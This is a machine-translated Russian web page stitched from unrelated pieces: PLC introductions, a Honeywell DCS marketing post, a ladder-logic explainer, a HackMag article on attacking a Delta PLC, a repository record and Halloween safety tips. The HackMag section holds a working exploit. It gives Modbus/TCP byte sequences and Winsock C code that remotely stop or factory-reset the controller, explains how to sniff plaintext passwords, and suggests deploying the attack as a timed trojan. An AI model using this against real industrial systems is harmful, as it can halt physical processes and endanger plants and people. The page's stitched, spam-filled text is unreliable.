Если вы думаете об использовании ПЛК в проекте или слышали этот термин раньше, но не знаете, что это такое, то вы попали в нужное место! ПЛК рассматриваются как следующая важная вещь в технике управления и рассматривается как зрелая технология с огромными возможностями применения. Хотя они существуют уже более 50 лет, достижения в области науки привели к нескольким улучшениям в их функционировании и дизайне.Как и во всем остальном в области бытовой электроники, ситуация в этой сфере постоянно меняется, и, следовательно, вносятся значительные улучшения, чтобы сделать такие чипы более быстрыми, компактными и более экономичными.Плк самодельный: Самодельный плк Все еще не уверены, что такое ПЛК и как они облегчают нам жизнь? Читайте дальше, чтобы узнать больше о ПЛК, их важности, способах их программирования и почему так важно работать над проектами ПЛК.

Узнайте больше о ПЛК

Подробнее ..

Потребность в ПЛК

ПЛК

были созданы более 50 лет назад, потому что людям нужны были программируемые микросхемы для автоматизации систем.Спустя пятьдесят лет основная проблема остается прежней. Конкуренция и преувеличенная потребность в товарах подталкивают компании к автоматизации своих сборочных линий, а также заставляют их делать свои производственные линии как можно более эффективными. Вначале ПЛК заменили сотни электрических компонентов, таких как реле и таймеры, объединив все их функции в одной микросхеме. Спустя десятилетия производители все еще пытаются уменьшить размер и вес систем автоматизации, и, следовательно, небольшие стоечные ПЛК стали популярным выбором в отрасли.Когда дело доходит до программного обеспечения, программирование релейной логики нашло большой успех в области автоматизации и продолжает оставаться наиболее широко распространенной формой программирования ПЛК.

В будущем ПЛК будут развиваться, чтобы стать более гибкими и способными адаптироваться к изменениям в аппаратном и программном обеспечении. Объединение ПЛК с программируемыми контроллерами автоматизации, более известными как PAC, поможет значительно улучшить их функциональность. Размеры печатных плат и процессоров неуклонно сокращаются, а электронная промышленность постоянно ищет компоненты меньшего размера, более быстрые и эффективные.Следовательно, ПЛК должны улучшить свою стабильность, надежность и время цикла.

Подробнее о PLC

Что такое ПЛК и его применение?

PLC расшифровывается как Programmable Logic Controller и представляет собой промышленный компьютер, работающий как автономное устройство. Они работают вместе как сеть в предположении с другими ПЛК, чтобы помочь с автоматизацией процессов управления и могут использоваться для выполнения определенных функций.Плк самодельный: Самодельный плк Они подключены к множеству датчиков, чтобы они могли получать и собирать информацию, относящуюся к внешней среде, в которой они используются.Следовательно, эти датчики помогают ПЛК измерять все, от температуры на улице до скорости вращающегося вала. Аналоговые сигналы от датчиков преобразуются в цифровые и затем передаются в ПЛК. Затем ПЛК использует эту реальную информацию для повторной калибровки системы и выполнения определенной заранее запрограммированной задачи. Они в основном предназначены для приложений, требующих нескольких входов и выходов, а также в ситуациях, когда система должна выдерживать суровые погодные условия.В отличие от ПК, которые выполняют множество задач, ПЛК предназначены в первую очередь для обработки одного набора задач.

Узнайте больше о ПЛК

Последние проекты по PLC

Хотите развить практические навыки работы с PLC? Ознакомьтесь с нашими последними проектами и начните обучение бесплатно

Объем программирования ПЛК

ПЛК

постоянно расширяются и в настоящее время считаются лучшим вариантом для нескольких приложений промышленной автоматизации.Таким образом, объем программирования ПЛК быстро увеличивается благодаря гибкости программирования, которую они обеспечивают, а также благодаря простоте программирования, которую он обеспечивает. ПЛК легко масштабируются и работают на высоких скоростях благодаря подключению к сети Ethernet, что делает их жизнеспособными вариантами для большинства современных требований автоматизации. Они также извлекли выгоду из растущего использования технологии USB, поскольку это упрощает передачу информации между ПЛК и обратно.

Со временем программирование ПЛК будет развиваться еще дальше, и широкая доступность разъемов mini USB сделает их еще более популярным выбором в будущем.

Новейшая технология ПЛК

  1. Мониторинг и управление распределены на несколько серверов
  2. Возможность использовать их для многопользовательских приложений
  3. Более простое обслуживание
  4. Наличие более надежных и надежных функций
  5. Лучшая визуализация и мобильность
  6. Лучшая устойчивость к суровым условиям труда
  7. Расширенные возможности ввода / вывода

Знаете ли вы

Skyfi Labs помогает студентам приобретать практические навыки, создавая реальные проекты.Плк самодельный: Самодельный плк

Вы можете записаться с друзьями и получить наборы на пороге

Вы можете учиться у экспертов, строить рабочие проекты, демонстрировать свои навыки всему миру и устраиваться на лучшие рабочие места.
Начни сегодня!

Что можно делать с ПЛК?

  • Включение и выключение без переключателей
  • Принимайте простые решения для правильного функционирования логического управления
  • Сбор данных из внешней среды
  • Автоматизация производственных и сборочных линий
  • Определите последовательность операций и соответствующим образом рассчитайте их время

Преимущества PLC

  • Экономичный
  • Гибкость и адаптируемость к различным условиям работы и ограничениям
  • Обеспечивает более сложное управление.
  • Легче устранять неполадки, упрощая их программирование и отладку
  • Надежный и прочный
  • Требуется меньше рабочей силы для проектирования и обслуживания
  • Уменьшение размера и помогает уменьшить вес и размер
  • стал отраслевым стандартом
  • Улучшенная ремонтопригодность и связь

Внутренняя архитектура ПЛК

  1. Арифметический и логический блок для выполнения манипуляций с данными и простых арифметических операций, таких как сложение, вычитание, И, ИЛИ и отрицание.
  2. Регистры для хранения данных
  3. Блок управления для синхронизации операций и определения последовательности функций
  4. Шины, которые служат путями для связи внутри ПЛК.
  5. Блоки ввода и вывода для работы в качестве интерфейса между микросхемой и внешней средой

Как создать программу ПЛК?

  1. Персональные компьютеры используются для программирования ПЛК вместе с программным обеспечением, предпочитаемым производителями и клиентами.Эти программы можно запускать как в интерактивном, так и в автономном режиме, а также можно редактировать, отслеживать и отлаживать по мере необходимости.Плк самодельный: Самодельный плк
  2. Среди доступных языков программирования диаграмма релейной логики является наиболее предпочтительной, поскольку она является базовой и простой для понимания.
  3. Первый шаг в программировании ПЛК — это понять проблему и понять, какая программа требуется.
  4. Затем перечислите конечные условия и составьте блок-схему, которая наилучшим образом описывает существующую проблему и предлагаемое решение.Убедитесь, что вы перечислили все переменные, необходимые для запуска программы.
  5. Теперь установите и настройте программное обеспечение, необходимое для вашего конкретного оборудования ПЛК. Сконфигурируйте правильную аппаратную модель ПЛК с соответствующими модулями ввода-вывода.
  6. Выберите подходящий язык релейной логики и назовите программу.
  7. Добавьте необходимые ступени на основе логики, требуемой вашей программой, а затем адресуйте каждый вход и выход.
  8. После того, как базовая структура программы создана, проверьте наличие ошибок и внесите необходимые изменения.
  9. Выполните тестовый запуск программы, чтобы увидеть, есть ли какие-либо ошибки, которые необходимо удалить. Стимулируйте программу, запустив ее онлайн.
  10. Если все работает нормально, скачайте программу, а затем переместите ее через кабель к машине, которой вы хотите управлять.

Как сделать простой проект ПЛК?

Программируемый логический контроллер используется в основном для управления производственными процессами и автоматизации сборочных линий и робототехнических устройств.

Автоматизация с использованием ПЛК: В этом проекте ПЛК вы создадите систему с использованием ПЛК, которая содержит робота для захвата и размещения и конвейерную ленту.Робот выбирает и размещает компоненты и работает синхронно с конвейерной лентой.

Подробнее об этом проекте

Вот список нескольких простых проектов, которые вы можете опробовать с помощью ПЛК.Плк самодельный: Самодельный плк

  • Датчик уровня угля на электростанции
  • Лаборатория удаленного доступа с использованием SCADA.
  • Защита асинхронных двигателей
  • Промышленный контроллер таймера
  • Таймер автоматического промышленного слива
  • Регулятор температуры и давления
  • Автоматическая система наполнения бутылок
  • Автоматическая мойка автомобилей

Надеюсь, вы получили представление о том, как разработать проект ПЛК из этой статьи.Если у вас есть лучшие идеи или предложения, дайте нам знать в комментариях.

Спасибо.

Как сделать простой проект ПЛК?

Skyfi Labs

Опубликовано:
2019-12-31 •

Последнее обновление:
2021-03-13

10 подводных камней самодельных систем управления

Автором этого гостевого сообщения является Билл Стивенс, менеджер по глобальному маркетингу продукции компании Honeywell Process Solutions.

Споры о преимуществах распределенной системы управления (DCS) по сравнению с программируемым логическим контроллером (PLC) продолжаются с тех пор, как эти две архитектуры появились 40 лет назад. Но по мере того, как различия в функциональности сужаются, а цены совпадают, споры становятся более интенсивными, чем когда-либо.

DCS всегда фокусировалась на распределении управления в сети, чтобы операторы могли контролировать и взаимодействовать со всем объемом установки. В ПЛК особое внимание уделяется гибкому и быстрому локальному управлению, в первую очередь ориентированному на контроллер.

Когда ПЛК и программные пакеты HMI интегрированы, результат очень похож на DCS. Но это в значительной степени подход «сделай сам» (DIY) с большим количеством технических рисков, а также с дополнительными затратами, которые не всегда сразу очевидны.

Вот 10 основных проблем, которые следует учитывать при оценке РСУ по сравнению с построением собственной распределенной системы управления с использованием архитектуры на основе ПЛК:

  1. Производительность сети : поставщики DCS предоставляют информацию о передовом опыте, поэтому пользователи начинают с продуманного проектирования сети для своей системы управления, включая покрытие неисправностей, чтобы вы никогда не теряли из виду процесс или доступ к конечному устройству управления.Плк самодельный: Самодельный плк Сравните это с миром «сделай сам», где разработчик приложений должен спроектировать топологию сети и рассмотреть различные режимы неисправности и покрытие.
  2. Control Performance : В то время как ПЛК работает «настолько быстро, насколько может», контроллер процесса в РСУ поддерживает повторяемость. DCS также тесно координирует управление, генерирующее аварийные сигналы, а также подсистемы аварийных сигналов и событий, которые собирают, хранят и сообщают об этих аварийных сигналах.
  3. Графика HMI : В такой системе, как DCS, где среда управления и операторская среда спроектированы и построены вместе, до 90 процентов того, что необходимо для запуска процесса, доступно стандартно из коробки, предварительно созданное, готовое к работе .
  4. Алгоритмы управления : Создавая функциональные блоки с полным набором функций на основе параметров, пользователь DCS может разрабатывать и настраивать стратегии управления без проектирования функций управления, обеспечивая высокую точность, надежное управление и обработку условий. Не так с ПЛК.
  5. Прикладное программное обеспечение : В мире DIY можно найти все приложения, необходимые для работы производственного предприятия. Но разве не проще иметь все встроенное в систему, предназначенное для совместной работы, обслуживания и тестирования от одного поставщика DCS, чем покупать разные пакеты программного обеспечения, которые вы должны собирать и поддерживать?
  6. Управление данными : Когда штучные детали используются для создания системы «сделай сам», необходимо синхронизировать и поддерживать различные модели данных.На инженеров и администраторов возложена нагрузка по выполнению этой задачи по настройке и обслуживанию нескольких баз данных в ПЛК и HMI. В DCS вся модель данных основана на одном владельце данных, поэтому она создается один раз и доступна для использования во всей системе, а при необходимости может быть легко изменена в одном месте.Плк самодельный: Самодельный плк Модель данных DCS была задумана для охвата всех частей системы.
  7. Batch Automation : различные аспекты пакетной автоматизации теперь могут быть отражены в единой модели данных DCS.Все элементы, необходимые для управления пакетами и их выполнения, выполняются в контроллере процесса без необходимости использования ПК в качестве сервера пакетной обработки. Пакеты можно запускать быстрее и надежнее, если исключить отдельный сервер пакетной обработки и все коммуникации между сервером и контроллером для обработки различных этапов пакетной обработки.
  8. Открытое подключение : Архитектура DCS объединяет сторонние устройства в общую модель данных. Такое включение существующих контроллеров означает, что операторы могут согласованно просматривать информацию от контроллеров различных брендов.
  9. Simulation Technology : Некоторые поставщики DCS предлагают технологию моделирования для поддержки повышения производительности на протяжении всего жизненного цикла предприятия — от автономного использования в стационарном моделировании проектирования, контрольных проверок и обучения операторов до онлайн-использования в управлении оптимизация, мониторинг производительности и бизнес-планирование.
  10. История процесса : Надежная функция истории процесса, встроенная непосредственно в современную РСУ, позволяет инженерам и руководству предприятия анализировать производительность всей операции из одного места.

Промышленные операции не могут ошибиться с новым поколением масштабируемых решений DCS, которые требуют меньше инженерных усилий для настройки и проще в обслуживании, чем системы на основе ПЛК. Обладая готовой функциональностью и гибкостью, они также имеют более низкую стоимость внедрения и требуют меньшего количества текущего обслуживания.

Об авторе
Билл Стивенс, менеджер по глобальному маркетингу продуктов Honeywell Process Solutions, отвечает за все продукты автоматизации, продаваемые через каналы (дистрибьюторы, системные интеграторы и OEM-производители).Плк самодельный: Самодельный плк Он имеет 28-летний опыт работы в компании Honeywell и работал на различных должностях в области маркетинга, продаж и развития бизнеса, стратегического планирования, управления продуктами, а также развития каналов сбыта и управления ими. Он также работал инженером по системам управления в крупной консалтинговой инжиниринговой фирме по проектам в электроэнергетике. Билл получил степень в области машиностроения и управления в Политехническом институте Ренсселера.

Самодельный ПЛК

ПЛК часто программируются по релейной логике. Это связано с тем, что изначально ПЛК заменили системы релейного управления, и сорок лет спустя мы все еще не отказались от этого.ПЛК, как и любой микропроцессор, последовательно выполняет список инструкций. Инструменты релейной логики абстрагируются от этого; вы можете запрограммировать ПЛК, подключив релейные контакты и катушки на экране, а среда выполнения ПЛК будет имитировать схему, которую вы нарисовали. Некоторые контакты реле могут быть привязаны к входным сигналам из реального мира; часть катушек можно привязать к выходам. Таким образом, вы можете заставить вашу смоделированную схему взаимодействовать с другими устройствами и фактически управлять вещами. Вот в чем суть.
На самом деле это более общий характер, потому что вы можете включать таймеры, счетчики и арифметические операции, которые вы не могли (легко) выполнить с помощью только реле. Тем не менее, концепция схемы по-прежнему полезна, отчасти потому, что она интуитивно понятна, но также потому, что она абстрагирует проблемы параллелизма. Выглядит это так:

 || Xa Xb Yout ||
       1 || -------] [------ + -------] [------ + ------- () ------ - ||
         || | | ||
         || | Xc | ||
         || + -------] / [------ + || 

Это простая комбинационная логика.Есть три входных члена: Xa, Xb и Xc. Есть один выходной член, Yout. Выражение Yout: = Xa и (Xb or (не Xc)). Это имеет смысл, если вы думаете о Xa и Xb как о нормально разомкнутых контактах реле, Xc как о нормально замкнутых контактах реле и Yout как об катушке реле.Плк самодельный: Самодельный плк Конечно, все становится еще сложнее:

 || ||
         || Asetpoint ||
       1 || ------------------------------------- {READ ADC} ---- ||
         || ||
         || Температура ||
         || ------------------------------------- {ЧИТАТЬ АЦП} ---- ||
         || ||
         || ||
         || ||
         || ||
         || {SUB min_temp: =} ||
       2 || ------------------------ {Asetpoint - 20} -------- ||
         || ||
         || {ДОБАВИТЬ max_temp: =} ||
         || ------------------------ {Asetpoint + 20} -------- ||
         || ||
         || ||
         || ||
         || ||
         || [Температура>] Yheater ||
       3 || [max_temp] + ------------------------ (R) ------- ||
         || | ||
         || Xenable | ||
         || -------] / [------ + ||
         || ||
         || [Температура <] Xenable Yheater ||
         || [min_temp] --------] [-------------- (S) ------- ||
         || ||
         || ||
         || ||
         || ||
         || {SUB check_temp: =} ||
       4 || ----------------------- {Asetpoint - 30} ------- ||
         || ||
         || ||
         || ||
         || ||
         || [Температура>] Yis_hot ||
       5 || [check_temp] ------------------------- () ------- ||
         || ||
         || ||
         || ||
         || ------ [КОНЕЦ] --------------------------------------- - ||
         || ||
         || || 

Это простой термостат.Есть два аналоговых входа; один из них предназначен для уставки, так что его можно, например, подключить к кастрюле, которую пользователь поворачивает, чтобы выбрать желаемую температуру. Другой обеспечивает измерение температуры; это может быть полупроводниковый датчик температуры или платиновый RTD с подходящей схемой сопряжения. Есть цифровой выход Yheater. Это может управлять нагревательным элементом через подходящий переключатель (TRIAC, или реле, или твердотельное реле, или что-то еще).
Замыкаем петлю простым гистерезисным (bang-bang) регулятором. Мы выбрали плюс-минус 20 единиц гистерезиса АЦП.Плк самодельный: Самодельный плк Это означает, что когда температура опускается ниже (уставка — 20), мы включаем нагреватель, а когда она поднимается выше (уставка +20), мы выключаем нагреватель.
Я решил добавить несколько небольших оборок. Во-первых, есть вход разрешения: нагреватель принудительно выключается при низком уровне Xenable. Я также добавил световой индикатор Yis_hot, чтобы указать, что температура находится в пределах нормы.Это сравнивается с порогом немного ниже, чем (уставка — 20), так что свет не мерцает при нормальной работе термостата.
Это банальный пример, но должно быть ясно, что язык довольно выразительный. Релейная логика не является языком программирования общего назначения, но она является полной по Тьюрингу, принята в промышленности и удивительно удобна для ограниченного класса задач (в основном ориентированных на управление).

вредоносных программ для концепций промышленной автоматизации — HackMag

Сразу оговоримся, что рассмотренные в статье уязвимости характерны практически для всех типов ПЛК, а не только для ПЛК Delta DVP – 14SS211R, который мы будем изучать.И это не промахи конкретного производителя, а своего рода фундаментальная проблема, являющаяся наследием того времени, когда преобладала простота внедрения и экономическая целесообразность, а не информационная безопасность и угроза взлома.

Итак, начнем с моделирования небольшой SCADA-системы, состоящей из одного ПЛК и нескольких рабочих мест. Наша «производственная линия» будет состоять из двух резервуаров, охлаждающей колонны, насоса и золотникового клапана. Эта линия предназначена для передачи жидкости из одного резервуара в другой через охлаждающую колонну.

Схема смоделированной производственной линии

Для работы всей этой системы обозначим двух операторов (один будет включать и выключать насос, другой открывать или закрывать задвижку) и одного директора (Ой, я буду директором », — прим. Ред. ), который будет контролировать все действия системы. Обеспечим каждого из вышеперечисленных лиц по одному рабочему месту.Плк самодельный: Самодельный плк Мы напишем саму систему SCADA для каждой рабочей станции в среде Trace Mode, Версия 6 (она была выбрана, потому что она доступна в базовой версии и не требует каких-либо дополнительных исполняемых модулей для отладки запуска и проверки системы) .Опустим подробности написания самой SCADA, поскольку это потребовало бы изрядного количества места в журнале, который обычно стоит как золото, а основная цель исследования далека от разработки и написания SCADA-систем.

Самый низкий уровень контроля для нашей производственной линии (ПЛК, источник питания и преобразователь интерфейса)

Помимо создания самой SCADA, необходимо также написать программу для ПЛК. У нас есть два привода (насос и золотниковый клапан), и мы будем использовать два выхода на ПЛК, Y0 и Y1 соответственно (выходы на всех ПЛК, как правило, обозначаются буквой Y, и каждый выход имеет свой номер) .Соединим выход Y0 с насосом, а выход Y1 — с золотниковым клапаном. Выход Y0 управляется реле внутреннего контроллера M0 (включение) и M1 (выключение), а выход Y1 управляется реле M2 (включение) и M3 (выключение). На языке IL (список инструкций) это выглядит так:

000000 LD M0

000001 OR Y0

000002 ANI M1

000003 OUT Y0

000004 LD M2

000005 OR Y1

000006 ANI M1

000007 END

Программа для ПЛК, написанная на языке LD (язык релейных диаграмм (все очень просто, два выхода и четыре реле))

На рабочем месте оператора золотникового клапана две кнопки (для открытия и закрытия золотника) и сигнальный индикатор; на АРМ оператора насоса также есть две кнопки (для пуска и останова насоса) и сигнальный индикатор.На рабочем месте директора есть как кнопки управления золотниковыми клапанами, так и кнопки управления насосами, а также оба индикатора. Кнопки управления насосом подключены к внутренним реле ПЛК, M0 и M1 (M0 — Start, M1 — Stop), а сигнальный индикатор включения насоса подключен к выходу Y1. Кнопки управления золотниковым клапаном подключены к внутренним реле ПЛК, M2 и M3 (M2 — Open, M3 — Close), индикатор сигнала золотникового клапана подключен к выходу Y1 (все эти подключения должны быть предписаны в SCADA при его проектировании).

Рабочее место машиниста гидрораспределителя

АРМ машиниста насосов

Рабочее место директора «Предприятие»

Все три рабочие станции и ПЛК соединены в сеть. ПЛК Delta DVP – 14SS211R имеет на борту только интерфейсы RS – 232 и RS – 485 (вы можете прочитать о них в текстовом поле) и не имеет возможности прямого подключения к сети Ethernet. Следовательно, мы должны задействовать дополнительное устройство с именем IFD – 9507, преобразователь интерфейсов с RS – 485 на Ethernet.Помимо трех рабочих мест обслуживающего персонала, мы предоставим еще одно рабочее место, на котором будет установлено программное обеспечение для программирования ПЛК (в нашем случае это WPLSoft, одна из программ, специально обученных для работы с ПЛК Delta). Эта рабочая станция не участвует в штатном режиме работы SCADA-системы и служит для обновления версии прошивки ПЛК.

Топология нашей системы SCADA

В газете «SCADA под прицелом» (] [No.7, 2011) описана уязвимость, характерная для большинства ПЛК, а именно возможность перевода ПЛК в режим «только прослушивание». Этот режим позволяет вывести ПЛК из процесса обработки команд и управления, что приведет к остановке процесса проектирования в целом. На многих ПЛК есть переключатель RUN / STOP (он выделен на фото PLC), который позволяет делать это аппаратными средствами (конечно, для этого потребуется физический доступ к самому PLC). Кроме того, можно перевести ПЛК в режим «только прослушивание», отправив определенную последовательность команд (а, как известно, это позволит удаленно вмешиваться в процесс управления).

И именно эту последовательность команд мы и попытаемся найти для нашего PLC Delta. Кроме того, мы попытаемся перехватить пароль, с помощью которого версия прошивки в ПЛК защищена от считывания, а также рассмотрим, возможно ли вообще обнулить память ПЛК удаленно.

Для решения заявленных задач воспользуемся штатными средствами программирования ПЛК производства Delta Electronics, WPLSoft и Wireshark, широко известных в узких кругах.

Удаленный запуск и остановка ПЛК

В WPLSoft есть две замечательные кнопки, RUN и STOP, которые как раз предназначены для управления ПЛК в процессе написания и отладки управляющей программы. Подключим ПЛК к компьютеру, установим связь с WPLSoft с подключенным ПЛК, запустим WPLSoft и посмотрим, что отправляет на ПЛК в момент нажатия этих кнопок. При нажатой кнопке STOP мы видим последовательность из 12 байтов, которая должна быть отправлена ​​в ПЛК по протоколу Modbus / TCP.

eah 97h 00h 00h 00h 06h 01h 05h 0ch 30h 00h 00h

К нашей радости, Wireshark легко распознает и объяснит все, что передается по этому протоколу (см. Текстовое поле, чтобы прочитать об этом подробно, и см. Википедию, если вам нужны дополнительные сведения). Следовательно, у нас есть номер транзакции, ea97h (60055 в десятичной системе — в принципе, он может быть произвольным), идентификатор протокола — 0, длина передаваемых данных — 6 байтов.К передаваемым данным относятся следующие: адрес ведомого устройства — 1 (в нашем случае есть только одно устройство и, соответственно, его номер равен 1; если здесь указан ноль, то команда будет транслироваться на все ПЛК, которые подключены к этой строке), код функции — 05 (запись значения одного флага — Force Single Coil), адрес этого флага — 0c30h (3120 в десятичной системе) и оставшиеся два байта означают, что переведем этот флаг в состояние ВЫКЛЮЧЕНО.

Перехваченная последовательность, позволяющая перевести ПЛК в режим СТОП

При нажатии кнопки RUN мы перехватим почти ту же последовательность, за исключением двух последних байтов, которые будут содержать значение ff00h.Такое значение переведет флаг в состояние ВКЛ.

Перехваченная последовательность, позволяющая перевести ПЛК в режим RUN

Кнопки, позволяющие останавливать и запускать ПЛК, доступны практически во всех средах разработки программ для контроллеров (без них процесс написания и отладки программы был бы затруднен), а это означает, что можно просмотреть требуемую последовательность байтов не только для ПЛК Delta, как мы, но также и для контроллеров других производителей.

Перехват пароля

Для защиты программы, находящейся в ПЛК, от несанкционированного считывания в некоторых контроллерах можно установить пароль. Это можно сделать с помощью той же программной среды, в которой написаны программы для каждого конкретного типа ПЛК. При этом во многих случаях этот пароль никоим образом не кодируется и передается по Modbus / TCP в открытом виде.

Так что попробуем. Выбираем опцию защиты программы при ее загрузке в ПЛК паролем, вводим пароль (для упрощения отслеживания мы ввели четыре буквы G в верхнем регистре), смотрим на Wireshark и видим его в одной из байтовых последовательностей. передано в ПЛК:

e2h 07h 00h 00h 00h 09h 01h 64h 01h 0bh 04h 47h 47h 47h 47h

Перехваченный пароль «GGGG»

В общем, для того, чтобы собрать все пароли в системе, просто необходимо поймать последовательности 01h, 0bh, 04h, и следующие четыре байта будут паролем.

Обнуление памяти ПЛК до заводских настроек

С этой целью мы будем использовать функцию «Форматировать память ПЛК», которая была тщательно предоставлена ​​разработчиками WPLSoft (аналогичная функция также доступна в других средах разработки). Поэтому мы вызываем функцию «Форматировать память ПЛК», выбираем «Сбросить память ПЛК (заводские настройки)», нажимаем кнопку подтверждения и смотрим на Wireshark. И мы видим там следующее:

33ч 88ч 00ч 00ч 00ч 05ч 01ч 64ч 01ч 14ч 00ч

Первые два байта, как мы знаем, — это номер транзакции, следующие два байта — это идентификатор протокола, затем два байта — это длина сообщения (в нашем случае длина сообщения составляет 5 байтов), затем адрес устройства. , затем код функции (в нашем случае это 64h — функция не определена стандартом и реализуется на усмотрение производителя), а затем данные (три байта — 01h, 14h, 00h).

Как вы уже поняли, остановить или обнулить ПЛК довольно просто. Достаточно отправить контроллеру требуемую последовательность байтов.

Для этого воспользуемся Winsock API; поэтому сначала необходимо подключить соответствующий заголовочный файл и библиотеку:

#include «winsock.h»

#pragma comment (lib, «ws2_32.lib»)

Затем создаем нужную последовательность:

char BuffPLCOff [12] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x06, 0x01, 0x05, 0x0c, 0x30, 0x00, 0x00};

Надеюсь, что в этом массиве вы узнали последовательность перевода ПЛК в режим STOP.Первые два байта, как мы уже знаем, обозначают номер транзакции и могут быть произвольными.

Тогда все просто — инициализируем Winsock, создаем сокет, устанавливаем соединение и отправляем данные:

1

2

3

4

5

6

7

8

9

10

11

12

13

140002

18

19

20

21

22

23

24

// Инициализировать Winsock

WSADATA wsaData;

WSAStartup (WINSOCK_VERSION, & amp; wsaData);

// Создайте сокет

SOCKET Server;

Сервер = сокет (AF_INET, SOCK_STREAM, IPPROTO_IP);

// Выполнение инициализации сокета

sockaddr_in ServerAddr;

ServerAddr.sin_family = AF_INET;

// Используйте порт 502 (особенно для Modbus / TCP)

ServerAddr.sin_port = htons (502);

// Здесь вместо xxx.xxx.xxx.xxx введите IP-адрес ПЛК (как узнать его, будет описано немного позже)

ServerAddr.sin_addr.S_un.S_addr = inet_addr («xxx.xxx.xxx .xxx «);

// Установите соединение

connect (Server, (LPSOCKADDR) & amp; ServerAddr, sizeof (ServerAddr));

// Получаем индикаторы последовательностей байтов

char * pBufPLCOff = BuffPLCOff;

// Передача данных

send (Server, pBuf, sizeof (BuffPLCOff), 0);

Чтобы отформатировать память ПЛК до заводских настроек, необходимо создать следующий массив:

char BuffPLCFormat [11] = {0x32, 0xf6, 0x00, 0x00, 0x00, 0x05, 0x01, 0x64, 0x01, 0x14, 0x00};

Весь эксплойт полностью в виде Visual C ++.NET можно найти на сайте www.dvd.xakep.ru по ссылке на этот номер журнала.

Пришло время попробовать применить эксплойт на практике и провести атаку на нашу «производственную линию», которую мы создали с такими трудностями.

Сначала узнаем IP-адрес ПЛК (чтобы вставить его в нужное место эксплойта). Конечно, лучше всего для этого взять специальную программу типа «SCADA auditor» или что-то подобное, но разумно обойтись с Nmap.Если мы увидим порт под номером 502 в списке открытых портов, значит, можно быть уверенным в принадлежности этого устройства. Порт 502 специально зарезервирован для протокола Modbus / TCP.

Откройте порт 502 на устройстве с IP-адресом 192.168.0.5

Затем тайком подключимся к сети и дождемся момента запуска эксплойта. Операторы и директор, которые ничего не подозревают, наблюдают за «производством», включают и выключают насос, открывают и закрывают задвижку — и внезапно насос останавливается, задвижка закрывается, и все оборудование перестает реагировать. к элементам управления.И все потому, что мы отправили всего 12 байт в нужное время и в нужное место назначения.

Согласитесь, что если мы выполняем такой эксплойт в виде трояна, работающего по определенному условию (время / дата), закидываем этот троян обслуживающему персоналу (например, по почте или на флешке) и используем пару эффективных специальных инженерных приемов, то получится довольно опасная вещь.

Возможно, вы уже заметили, что тема информационной безопасности SCADA-систем в последнее время стала особенно актуальной и постепенно вписывается в очень интересное и чрезвычайно перспективное направление деятельности.

Я надеюсь, что вы правильно воспримете все, что написано в этой статье, и вы не будете пытаться остановить Большой адронный коллайдер в Европейской организации ядерных исследований или прекратить выработку электроэнергии на Калининской АЭС, а сосредоточите свои усилия на строительстве действия, которые внесут вклад в решение важнейшей проблемы безопасной эксплуатации критически важных и потенциально опасных производственных объектов.

Homemade Pies plc | Репозиторий исследований UCD

Research Repository UCD — это цифровая коллекция научных публикаций с открытым доступом из Дублинского университетского колледжа.Хранилище исследований UCD собирает, сохраняет и предоставляет в свободный доступ публикации, включая рецензируемые статьи, рабочие документы и документы конференций, созданные исследователями UCD. Если материал уже был опубликован, он становится доступным в соответствии с политикой открытого доступа исходных издателей. Эта служба поддерживается библиотекой UCD.

Домашние пироги plc

Название: Homemade Pies plc Авторы: Коттер, Джон Постоянная ссылка: http: // hdl.handle.net/10197/1668 Дата: 2006 На сайте с: 2009-11-30T15: 00: 56Z Тип материала: Книжная группа Издатель: Институт дипломированных бухгалтеров в Ирландии Авторские права (опубликованная версия): 2006, Институт дипломированных бухгалтеров Ирландии Subject LCSH: Пенсии — Примеры из практики
Коммерческие предприятия — Финансы — Примеры из практики
Пенсионные фонды
Язык: en Статус объекта: Не проверено экспертами Входит в состав: Hyndman, N.и McKillop, D. (ред.). Кейсы по управленческому учету и финансам предприятий ISBN: 0

418x

Этот элемент доступен по лицензии Creative Commons License: https://creativecommons.org/licenses/by-nc-sa/1.0/
Собирается в коллекции: Business Research Collection

Показать полную запись товара

Если вы издатель или автор и у вас есть опасения по поводу авторских прав на какой-либо продукт, отправьте электронное письмо для исследования[email protected], и товар будет немедленно отозван. С автором или лицом, ответственным за размещение статьи, свяжутся в течение одного рабочего дня.

Как сделать счастливые воспоминания о Хеллоуине

Хэллоуин — любимый праздник как детей, так и взрослых, но любые страхи на Хеллоуин должны быть веселыми, а не из-за потенциально опасной или опасной для жизни ситуации. Костюмы, конфеты и традиция угощения пробуждают в воображении прекрасные воспоминания о Хеллоуине, но также представляют собой потенциальную опасность праздника и повышенный риск травм.Счастливые воспоминания о Хеллоуине обязательно останутся у вас, если безопасность стоит на первом месте в вашем списке дел.

Костюмы

Костюмы на Хеллоуин представляют собой потенциальные опасности всех видов. Следуйте этим советам по безопасности, чтобы избежать неудач с костюмом:

  • Избегайте опасности споткнуться , следя за тем, чтобы костюмы не были слишком длинными и не тянулись за вами. Длинные струящиеся костюмы также могут быть пожароопасными вокруг костров, свечей и тыкв со свечами.
  • Избегайте ношения масок и головных уборов , которые могут затруднить обзор и помешать увидеть машину или другую опасность, пока не стало слишком поздно.Если вы должны носить маску как часть вашего костюма, наденьте маску на голову во время прогулки между домами и снимите ее, как только дойдете до следующей остановки для трюков или угощений.
  • Будьте осторожны при использовании краски для лица или тела . Краски могут вызывать потенциально опасные для жизни аллергические реакции, поэтому перед нанесением краски проверьте небольшой участок кожи.
  • Светоотражающая лента и яркие, светоотражающие костюмы — хорошие способы улучшить вашу видимость для водителей и других пешеходов.
  • Если вы носите купленные в магазине костюмы, убедитесь, что на этикетке указано «огнестойкий». Если вы носите домашний костюм, выбирайте огнестойкие ткани, такие как полиэстер и нейлон.
  • Эксперты не рекомендуют использовать декоративные контактные линзы , если это не предписано и не установлено глазным врачом. Декоративные контактные линзы, которые меняют цвет глаз, например, делают глаза красными или похожими на кошачьи, но не одобрены FDA как безопасные и эффективные.

Конфеты и еда

Помимо переодевания, большая часть Хэллоуина связана с угощением или уловкой.Прежде чем приступить к вкусным угощениям и еде, следуйте этим советам, чтобы избежать травм из-за еды или конфет:

  • Осмотрите все конфеты дома, прежде чем что-нибудь есть.
  • Выбросьте все, что частично запаковано, выглядит так, как будто оно было подделано или является подозрительным.
  • Не ешьте домашних лакомств , которые не были коммерчески упакованы, если вы не знаете и не доверяете источнику домашних лакомств.
  • Помните о пищевых аллергиях , прежде чем баловаться угощениями на Хэллоуин.Многие из них содержат орехи, молоко и другие аллергены, поэтому лучше сначала проверить этикетку, прежде чем заниматься сладким.
